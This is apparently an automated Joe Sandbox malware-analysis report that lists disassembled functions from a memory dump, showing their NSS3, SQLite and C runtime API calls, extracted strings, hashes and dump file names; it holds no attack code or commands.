Part of subcall function 6C6B10C0: PL_ArenaAllocate.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1141
Part of subcall function 6C6B10C0: PR_Unlock.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1182
Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B119C

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C6B9F38

Part of subcall function 6C6BD030: PORT_NewArena_Util.NSS3(00000400,00000000,?,00000000,?,6C6B9F0B), ref: 6C6BD03B
Part of subcall function 6C6BD030: PORT_ArenaAlloc_Util.NSS3(00000000,00000028), ref: 6C6BD04E
Part of subcall function 6C6BD030: SECOID_FindOIDByTag_Util.NSS3(00000019), ref: 6C6BD07B
Part of subcall function 6C6BD030: SECITEM_CopyItem_Util.NSS3(00000000,-00000018,00000000), ref: 6C6BD08E
Part of subcall function 6C6BD030: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C6BD09D

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C6B9F49
SEC_PKCS7DestroyContentInfo.NSS3(?), ref: 6C6B9F59

Part of subcall function 6C6B9D60: PORT_ArenaMark_Util.NSS3(?,00000000,?,?,00000000,?,6C6B9C5B), ref: 6C6B9D82
Part of subcall function 6C6B9D60: PORT_ArenaGrow_Util.NSS3(?,?,00000000,?,6C6B9C5B), ref: 6C6B9DA9
Part of subcall function 6C6B9D60: PORT_ArenaGrow_Util.NSS3(?,?,?,?,?,?,?,?,6C6B9C5B), ref: 6C6B9DCE
Part of subcall function 6C6B9D60: PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,6C6B9C5B), ref: 6C6B9E43

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Value$Arena_CriticalEnterErrorGrow_Mark_SectionUnlock$AllocateContentCopyDestroyFindFreeInfoItem_Tag_
String ID:
API String ID: 4287675220-0
Opcode ID: 132886c8e85c4853bc8e1c53b1aed6ae3bf3f6f8f3c0773f36a280f0f549c6b0
Instruction ID: e0161a4a089a2d8325c13b07d1c8cbdb1dd59d199673a3e60fe1ca6c5bdd8558
Opcode Fuzzy Hash: 132886c8e85c4853bc8e1c53b1aed6ae3bf3f6f8f3c0773f36a280f0f549c6b0
Instruction Fuzzy Hash: CF110BB5F042026BF7109B659C00B9B73A9AFA635CF140134E50AAB740FB71E539C39D

Function 6C76CDC0 Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 423stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C76D086
PR_Malloc.NSS3(00000001), ref: 6C76D0B9
PR_Free.NSS3(?), ref: 6C76D138

Strings

>, xrefs: 6C76CF5B

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: FreeMallocstrlen
String ID: >
API String ID: 1782319670-325317158
Opcode ID: 33f3c904727b78e6a3ccadd60312c31edcb67202b830285271c06c35c0548f6e
Instruction ID: dadeca0df0336e890a93f9c09d5546fdac01e6f59edf48890e3e18a2e203b027
Opcode Fuzzy Hash: 33f3c904727b78e6a3ccadd60312c31edcb67202b830285271c06c35c0548f6e
Instruction Fuzzy Hash: 9DD18A32B506460BEF18487F8EA13EA77938762374F784339DD618BFE5E65888438305

Function 6C5EAC60 Relevance: 6.4, Strings: 5, Instructions: 181COMMON

Download Yara Rule

Strings

pvl, xrefs: 6C5EADA7
winUnlockReadLock, xrefs: 6C5EAE9F
winUnlock, xrefs: 6C5EAE18
0vl, xrefs: 6C5EACC0, 6C5EAD22, 6C5EAD5E, 6C5EAE45
Pvl, xrefs: 6C5EADDB, 6C5EADF5, 6C5EAE6A

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID:
String ID: 0vl$Pvl$pvl$winUnlock$winUnlockReadLock
API String ID: 0-792151856
Opcode ID: e20b9e19ba0afe291d9b8cee9bc22bb4791b3380891b8ef03cf62bb322d0ebc0
Instruction ID: eecee8da5ac6bf1c60882fbbe5d7e3ac746ab80e53bce509b454173c4e46b59e
Opcode Fuzzy Hash: e20b9e19ba0afe291d9b8cee9bc22bb4791b3380891b8ef03cf62bb322d0ebc0
Instruction Fuzzy Hash: E671BD706083449FDB04CF28E894AAABBF5FF89304F14CA28F95997351E730A985CBD1

Function 6C70AD50 Relevance: 6.4, APIs: 4, Instructions: 389COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 794bfaa1980d3c154a5c416d9e425536d3842891f06a5ee8c1baa9c35b8d8776
Instruction ID: 26f18300c447125f1e7eb02779cb283940893cb3118e5255baca8150d3083427
Opcode Fuzzy Hash: 794bfaa1980d3c154a5c416d9e425536d3842891f06a5ee8c1baa9c35b8d8776
Instruction Fuzzy Hash: A5F1E1B1F012598BDB04CFA9DA547AE77F0AB8A308F25823DD905D7B44E770AA51CBC4

Function 6C6FDFC0 Relevance: 6.3, APIs: 3, Strings: 1, Instructions: 344stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,00000003,?,6C5D5001,?,00000003,00000000), ref: 6C6FDFD7
memset.VCRUNTIME140(00000000,00000000,?,?,?,00000003,?,6C5D5001,?), ref: 6C6FE2B7
memcpy.VCRUNTIME140(00000028,00000003,?,?,?,?,?,?,00000003,?,6C5D5001,?), ref: 6C6FE2DA

Strings

W, xrefs: 6C6FE111

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: memcpymemsetstrlen
String ID: W
API String ID: 160209724-655174618
Opcode ID: 40b88c6e33cd5cace35e86ebe49c0735146c25b2cd4516ec4412a20f04fedf37
Instruction ID: 81f911910fb2354c947499ff244de95da27b7d87c1d6102bec37ca2ab405f34f
Opcode Fuzzy Hash: 40b88c6e33cd5cace35e86ebe49c0735146c25b2cd4516ec4412a20f04fedf37
Instruction Fuzzy Hash: D3C11772A092558BDB04CE2AC4907EA7FB3BF86308F284169DD799BB41D731A907C7D4

Function 6C6C0E20 Relevance: 6.3, APIs: 2, Strings: 2, Instructions: 279COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,00000000,00000000,00000000), ref: 6C6C1052
memset.VCRUNTIME140(-0000001C,?,?,00000000), ref: 6C6C1086

Strings

h(ll, xrefs: 6C6C1062, 6C6C105D, 6C6C0F37, 6C6C1081, 6C6C1082
h(ll, xrefs: 6C6C0E55, 6C6C0EC4, 6C6C0F3A, 6C6C0FA7

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: memcpymemset
String ID: h(ll$h(ll
API String ID: 1297977491-1774252009
Opcode ID: 67f5b1fcb83da880fb63f573082336db8c87943e3a4081e198a5746fec37010d
Instruction ID: 8cacc4eec63e3fbaf3f0f4d0275ff84627187728bee462977504022fabc56833
Opcode Fuzzy Hash: 67f5b1fcb83da880fb63f573082336db8c87943e3a4081e198a5746fec37010d
Instruction Fuzzy Hash: 91A14BB1B0125A9FCF08CF99C894AEEBBB6FF4C314B148129E914A7700D735AD41CBA5

Function 6C5E4DB0 Relevance: 5.3, Strings: 4, Instructions: 318COMMON

Download Yara Rule

Strings

pvl, xrefs: 6C5E4E1C, 6C5E4E81, 6C5E4FDE, 6C5E5047, 6C5E50BB, 6C5E51A3, 6C5E526C
winUnlockReadLock, xrefs: 6C5E5125
0vl, xrefs: 6C5E4EDE, 6C5E4F82
Pvl, xrefs: 6C5E5019, 6C5E50FA, 6C5E5157, 6C5E51DE, 6C5E51F2, 6C5E520D, 6C5E5220, 6C5E52A2, 6C5E52B5

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID:
String ID: 0vl$Pvl$pvl$winUnlockReadLock
API String ID: 0-1853705913
Opcode ID: 0ed5cc44f3942988c63461552229b44bce89009f2c210b17fd9df82dd5d138e0
Instruction ID: 3cbedef075596b0c078a03242bfe68d756f01b628b04aabbd222c3718a377c1c
Opcode Fuzzy Hash: 0ed5cc44f3942988c63461552229b44bce89009f2c210b17fd9df82dd5d138e0
Instruction Fuzzy Hash: 25E12B70A18344CFDB04DF28E89865ABBF0FF89304F558A6DF89997351E7309985CB82

Function 6C5E6F10 Relevance: 5.2, Strings: 4, Instructions: 218COMMON

Download Yara Rule

Strings

noskipscan*, xrefs: 6C5E7067
*?[, xrefs: 6C5E7034, 6C5E7052, 6C5E7070
unordered*, xrefs: 6C5E702B
sz=[0-9]*, xrefs: 6C5E7049

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID:
String ID: *?[$noskipscan*$sz=[0-9]*$unordered*
API String ID: 0-3485574213
Opcode ID: f0f4bade09ec0670cfc77a1599e0919988e2e42272c72179ebe5f85bfa625548
Instruction ID: 92c49b672d14e46bbccf307794f265cacb030f5e1c0adf67c6e2e1a140b3a08a
Opcode Fuzzy Hash: f0f4bade09ec0670cfc77a1599e0919988e2e42272c72179ebe5f85bfa625548
Instruction Fuzzy Hash: FC716C32F043154BEB14CE6DCC8039E77A29F89394F250678CD69ABBC6EA719C4687C1

Function 6C603EC0 Relevance: 4.3, Strings: 3, Instructions: 583COMMON

Download Yara Rule

Strings

sqlite_, xrefs: 6C603FAA, 6C604185
sqlite_master, xrefs: 6C60463F
sqlite_temp_master, xrefs: 6C60460F

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID:
String ID: sqlite_$sqlite_master$sqlite_temp_master
API String ID: 0-4221611869
Opcode ID: 13cb1de56c6c577b4cd9dc57d243c00aebf838c9dfbd30ced650c0011ee71b8e
Instruction ID: cea33bdaf64ff83b4ba73afc552ab02b30a1fd23bf808f6a75a5a13d1822b12a
Opcode Fuzzy Hash: 13cb1de56c6c577b4cd9dc57d243c00aebf838c9dfbd30ced650c0011ee71b8e
Instruction Fuzzy Hash: 3022AC2174D1554FD72D8B2682A06F6BBF29F67308B6845ACCAE17FE42D261EC41C788

Function 6C73BE70 Relevance: 4.0, APIs: 1, Strings: 1, Instructions: 1029COMMON

Download Yara Rule

Strings

`, xrefs: 6C73C0B6

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID:
String ID: `
API String ID: 0-2679148245
Opcode ID: 506eee700f2dbc4191454ecb41f8d5d0d7223a0a5c1c5bf7975cfba115cccf7a
Instruction ID: f30634c0bb76df83daecc7d63bef2afec589e4a26fea88a7d49689c469cbb107
Opcode Fuzzy Hash: 506eee700f2dbc4191454ecb41f8d5d0d7223a0a5c1c5bf7975cfba115cccf7a
Instruction Fuzzy Hash: 7D92B474A00269CFDB04DF58CA80BAEB7B2FF89309F245268D419A7B92D735EC45CB54

Function 6C5D3D80 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 164COMMON

Download Yara Rule

APIs

htonl.WSOCK32(00000000), ref: 6C5D3EA9

Strings

0, xrefs: 6C5D3DAB

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: htonl
String ID: 0
API String ID: 2009864989-4108050209
Opcode ID: dd16d9e3c4b518be53289aa781cd2655386d52825df6f71bf5c6ab524c7a801d
Instruction ID: 6e2761b8652806c6dcf6819d7c5a0bcd90008ad506584de05129c4f42721581d
Opcode Fuzzy Hash: dd16d9e3c4b518be53289aa781cd2655386d52825df6f71bf5c6ab524c7a801d
Instruction Fuzzy Hash: 72512A31E4927A8ADB158A7D8C603FFBBB1DB42314F1E4329C5A167BC1D23465458794

Function 6C67EE70 Relevance: 3.2, APIs: 2, Instructions: 223COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C67F019
PK11_GenerateRandom.NSS3(?,00000000), ref: 6C67F0F9

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ErrorGenerateK11_Random
String ID:
API String ID: 3009229198-0
Opcode ID: f28674b34aa5c963032b75bc96fe7a21ab5569db4e47a29f8ddf8cc7e5d013c4
Instruction ID: cf8c58d72dda11d0174f5d3a0c4087572fa7c75b649267e6ecac87be26bd1c5c
Opcode Fuzzy Hash: f28674b34aa5c963032b75bc96fe7a21ab5569db4e47a29f8ddf8cc7e5d013c4
Instruction Fuzzy Hash: 69919375A0061A8FCB24CF68C891AAEB7F1FF85324F244B2DD56297BC0D730A905CB65

Function 6C6A2F70 Relevance: 3.1, APIs: 2, Instructions: 149COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE09A,00000000,00000000,?,6C6C7929), ref: 6C6A2FAC
PR_SetError.NSS3(FFFFE040,00000000,00000000,?,6C6C7929), ref: 6C6A2FE0

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Error
String ID:
API String ID: 2619118453-0
Opcode ID: 4a656108be18da6d47c24cc2c8ac13f526c4c1b274535cb3a5808e77de7152a1
Instruction ID: 9ab6f43318753b15c120202def51ddfa4001fcb99b837c426b889048feaa219a
Opcode Fuzzy Hash: 4a656108be18da6d47c24cc2c8ac13f526c4c1b274535cb3a5808e77de7152a1
Instruction Fuzzy Hash: 2E512671A459118FD714CEEAC880BAAB3B1FF46318F250139D9199BB02D731ED47CB89

Function 6C6AED70 Relevance: 1.7, APIs: 1, Instructions: 217memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(00000000,0000003C), ref: 6C6AEE3D

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Alloc_ArenaUtil
String ID:
API String ID: 2062749931-0
Opcode ID: b51203e4b2318080346e191dc444ed80196527117a86a943b733acd6992df4c0
Instruction ID: 8f9cf25bb5696d1cf8ac485a989272bafbf98db9796f59bfbbe95dc0a453724e
Opcode Fuzzy Hash: b51203e4b2318080346e191dc444ed80196527117a86a943b733acd6992df4c0
Instruction Fuzzy Hash: FE71CFB2E01B018BD718CF99C8806AAB7F2FB89304F14862DD85697B91D734ED12CB95

Function 6C5D5F30 Relevance: 1.6, APIs: 1, Instructions: 350stringCOMMON

Download Yara Rule

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,00000000), ref: 6C5D6013

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: strcmp
String ID:
API String ID: 1004003707-0
Opcode ID: 260cba9ebfff07642fd90ab1c4a1d71ff9639c562215b12fa77f5e6517cd9e90
Instruction ID: 0bc60c790d15b52a294fe78b9023c1d560ff737a3ec6f2b9e672f9e87eeec3d4
Opcode Fuzzy Hash: 260cba9ebfff07642fd90ab1c4a1d71ff9639c562215b12fa77f5e6517cd9e90
Instruction Fuzzy Hash: FAC127B1A043068BDB04CF5DCC907AAB7B2EF45318F668919D995CBB42DB31F842C799

Function 6C765E60 Relevance: 1.4, APIs: 1, Instructions: 163COMMON

Download Yara Rule

APIs

Part of subcall function 6C765B90: PR_Lock.NSS3(00010000,?,00000000,?,6C64DF9B), ref: 6C765B9E
Part of subcall function 6C765B90: PR_Unlock.NSS3 ref: 6C765BEA

memset.VCRUNTIME140(00000014,00000000,-000000D7,?,?,?,?,?,?,?,?,6C765E23,6C64E154), ref: 6C765EBF

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: LockUnlockmemset
String ID:
API String ID: 1725470033-0
Opcode ID: 765870e01ac74a1a285e53e67be40ac57547b096a3347e8632765bb24f41ae14
Instruction ID: 29a81201947cf643ec3bc44d36bc7ce74ecef61bd95f9f258040ca1c9eae7eac
Opcode Fuzzy Hash: 765870e01ac74a1a285e53e67be40ac57547b096a3347e8632765bb24f41ae14
Instruction Fuzzy Hash: 4D519D72E0021A8FCB18CF59C9819AEF3B2FF88314B19457DD815B7746E730A941CBA0

Function 6C71DCD0 Relevance: .4, Instructions: 371COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

